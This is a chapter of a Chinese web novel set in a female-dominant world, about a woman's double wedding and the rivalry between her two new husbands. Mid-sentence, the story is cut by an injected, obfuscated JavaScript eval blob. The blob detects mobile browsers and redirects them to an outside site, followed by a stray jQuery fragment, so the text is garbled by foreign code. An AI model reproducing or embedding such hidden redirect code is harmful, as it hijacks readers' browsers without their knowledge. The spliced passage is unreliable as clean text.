20. 第二十章
作品:《两个夫郎又如何?(女尊)》 那是自然!
齐言没明白他怎会生出这等心思,然而想了想,发现整程下来他都落在第二位,就连现在对拜,也是先崔显再是他。
她立刻偏往右侧,“你既明白我的心,又怎会认为我看低你?”
她语调压得低,可离两边都近,左侧的崔显在这话落地时神色微微一动。
阮知湫眼眸垂下,看起来像在低落,他顺着齐言的话道:“我明白妻主的心。”
齐言看他这副模样,心里顿时有些不是滋味,而上方的齐母见新人迟迟没有动作,视线落在齐言偏往的阮知湫身上,随后几不可察地皱了皱眉。
齐言并未察到旁人反应,正欲再安抚两句,身为正君的崔显轻声道:“妻主,吉时要误了。”
大梁婚俗,前半日是迎亲,后半日是过门和婚宴。夫郎要在午时进府,在申时前同妻主行完拜堂礼,等被安置进洞房,宾客们才会陆陆续续到达祝贺。
齐言听得这句,也知晓不能再作耽搁,于是暗叹一声,朝向左手边的崔显。
两人规规矩矩地对拜,抬起头时,眼神撞在一处。
她方才被阮知湫扰乱心神,觉得对方楚楚可怜,但这会儿对上崔显,纷乱思绪竟莫名停下。
对方视线专注,眼里倒映出她的身影,他并未开口,就这么静静望着她。
齐言忽有些不敢对视,正想转开目光,崔显却扬起唇角。
这是他今日第三次微笑,仿佛真心实意地感到欢喜,低低唤了她声“妻主”。
明明先前已听过不少次,可齐言还是怔了怔,两秒后她反应过来,在对方视线中郑重点头。
他真好。
齐言心先被右边夺去,下一刻又因左边动摇,她觉得自己怕是着了魔,压下念头转身同另一位对礼。
阮知湫同样规矩,他进门前不小心崴伤脚,却仍强撑着行了一路。礼成后齐言抬眼,见他颈侧冒出点汗,溜出的几缕发丝轻黏其上。
对方秉着副柔弱美人的姿态,即便身体不适,也还是乖巧唤道:“妻主。”
齐言停了停,再一次点头接下。
他也很好。
拜堂结束,冯吉张罗着将两名新主子送进洞房,齐言没空去管其中细节,只亲送自己的两位夫郎离开。
崔显安排在东院,阮知湫在西院,她记挂着阮知湫的伤,特地先到他跟前问询。
不知是痛的还是其它缘由,阮知湫又显出些低落,然而齐言一过来,他便低眉顺目地回说自己无碍。
齐言还是放不下心,在正堂外的角落里执过他的手,“你身子弱,往后定要多多当心。”
阮知湫抬起眼睫,眸里漾着将溢未溢的情愫,“我都听妻主的。”
齐言见他说出和崔显一样的话,还未反应,对方又出声道:“妻主今夜……”
“会陪我吗?”
他问得小心翼翼,说完像怕齐言为难,收敛下眼眸道:“我只是太想妻主了。”
阮知湫身为侧室,自然明白正君地位高于自己,一番下来他虽未抱怨,可话音里隐约带上了些惆怅。
“上次一别,我日夜都在思念,时时刻刻盼着能够嫁给妻主。”
“我自愿成为侧室,是因为爱慕之情,我也明白妻主身边不会只我一人,但……”
他眸光流转,旋即又湮没于长睫掩映的阴影里,“但我太过贪心,想要妻主只看着我。”
齐言顿住,而对方却未停下,反而收紧掌心力道,牢牢与齐言握在一起。
阮知湫将声气揉碎在唇齿间,轻声问她:“妻主今夜陪我好吗?”
这、这……
这怎么办?
齐言想到最开始崔显也如此问过,也一样怀有期待,按理说新婚夜是要去到正君房中,可侧君现在这般望她,她一时竟说不出话。
对方见她没作应答,眼里不由漫起层水雾,“妻主……”
齐言连忙安抚,“大喜的日子,要高兴些。”
阮知湫听话地止住泪意,但喉头还是微哽,“妻主先前答应与我同行梳礼,难道不作数吗?”
齐言记起那把纹金梳,在对方的视线中不由软下颗心。
她没能敌过对方的哀求,硬着头皮道:“我商量商量。”
商量商量。
说不定另一位肯跟她商量。
她跟阮知湫待得久,离开时冯吉急火火地赶来提醒,说宾客已陆续到达宴厅。齐言按下她的话,前往崔显那边时,竟意外发现对方还在原处等候。
崔显安静立在堂外廊下,见到她后噙着抹笑意唤道:“妻主。”
齐言一下有些说不出口。
往日里的崔显恭顺而谦卑,无时无刻不想讨她欢心,可笑容却是少见,自初识起几乎从未有过。
但他今日笑了四次,下轿时,牵他过门时,拜堂时,以及此时。
齐言心忽然乱了,慢慢走过去道:“可还适应?”
崔显点头,反过来问:“妻主累吗?”
齐言意识到他在关心自己,正想让他不必费神,对方却上前半步,替她将不知何时皱起的衣襟抚平,“我学了新手艺,宴后可为妻主揉捏肩颈。”
他怎么什么都学?
齐言不知这是什么新手艺,可见他提起宴后,立刻想起方才阮知湫的哀求。
她犹豫半秒,只这半秒,对方便像看出什么似的,抬起的手僵了一下。
“妻主今晚想去那边吗?”崔显嗓音淡淡。
齐言被他猜中,想了想还是打算商量下,可刚挤出个“我”字,对方就出声拒绝:“不。”
他提前道出答案,墨黑的眸沉静下去,“我不想。”
齐言哑火。
崔显停顿两秒,上一秒还眼带笑意,下一刻神色却稍显黯淡,“妻主是不是不喜我?”
先前他便问过相关问题,还因未在齐言腰间见到自己赠的环佩而深感难过。
齐言知他表面矜贵,骨子里却格外卑微,于是赶着回答:“我说过娶你是我的福气,又怎会不喜欢你?”
崔显未被这话打动,摇头道:“他明白妻主的心,但我却无从得知。”
他将齐言与阮知湫在堂前的对话提出来,声线低低的,“我知道妻主更喜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409184|183737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
欢他。”
对方自认为看穿她的心意,喉头微动,“可为何……”
“不能是我呢?”
他在伤心,但自小的教养又让他将情绪收敛于无形,于是齐言只能看到他攥到泛白的指节,以及那双不敢望她的眼。
她又一次心软了。
齐言顾不上其它,握过崔显的手道:“我只是来商量商量。”
“他身子弱,所以我多关照些,但你是齐府正君,凡事我都会来征求你的意见。”
她不想崔显难过,轻叹一声后劝道:“哪里有什么喜欢和更喜欢?”
“他明白我的心,你又怎么不明白?”
她只是未明确说出口,但他的好他的温柔,她全都记在心里。
“新婚之夜,我自是要去你房中,”齐言摩挲着他的手掌,试图让他放松,“你回去等我就是。”
这话一出,对方眼眸复又明亮起来,齐言不再多说,送离他后便在冯吉的催促下赶往宴厅。
就这么定了。
至于阮知湫那边、那边……
算了。
宴后再想办法。
齐府名气大份量重,下喜帖时几乎将京中有头有脸的都请了来。齐言一入席便有不少官员前来贺喜,她轮流谢过,再按礼制向尊贵宾客献酒。
母父嫁儿郎,通常不会出席女方家中举办的婚宴,因大梁会典有云,嫁儿之家,三夜不息烛,思相离也。
意思是男儿出嫁,是属骨肉分离,男子家人会彻夜思念,而非参与女方家的喜庆活动。
齐言迎回两位夫郎,却不用见背后的崔大学士和阮首辅,不免悄松口气。
献酒很快结束,新人在宴席上不过走个过场,就连面前的食案也只摆了糖狮、面鹤等吉祥物。
齐言一口未食,却灌了不少酒下肚,离席时头晕乎乎的,只同母亲作揖行礼,忘记给薛苓和陈流璃打个招呼。
两位好友极为赏脸,早就到场为她庆贺,齐言想着日后再谢,在冯吉的搀扶下往东院去。
走到半路时,她突然停住。
齐言没醉,也没忘掉阮知湫的请求,她答应说去商量,可崔显并不情愿。
然而无论去是不去,她都得给阮知湫个交待。
她想不出有什么办法能安抚西院,正纠结时,面前忽冲上来名侍从,着急忙慌地禀报道:“主子,下面人说侧君起热症了。”
齐言没听清,等对方重复遍后当即大惊。
热症?
不是崴了脚吗?怎么会起热症?
先前那夜的场景还历历在目,齐言一下酒醒大半,将朝往东院的脚转了方向,直直往西院奔去。
冯吉陪她赶到廊下,出声请示道:“主子,可要叫太医?”
大喜日子最忌讳见郎中,可治病要紧,也只好差人去办。
然而冯吉刚要退下,名为青羽的小侍就推开寝房门。
阮知湫安然无恙地自他身后出现,瞳孔里盛的不是目光,是一池春水。
“我只是想让妻主来看看我,”他咬唇解释:“妻主不会生知湫的气,对吗?”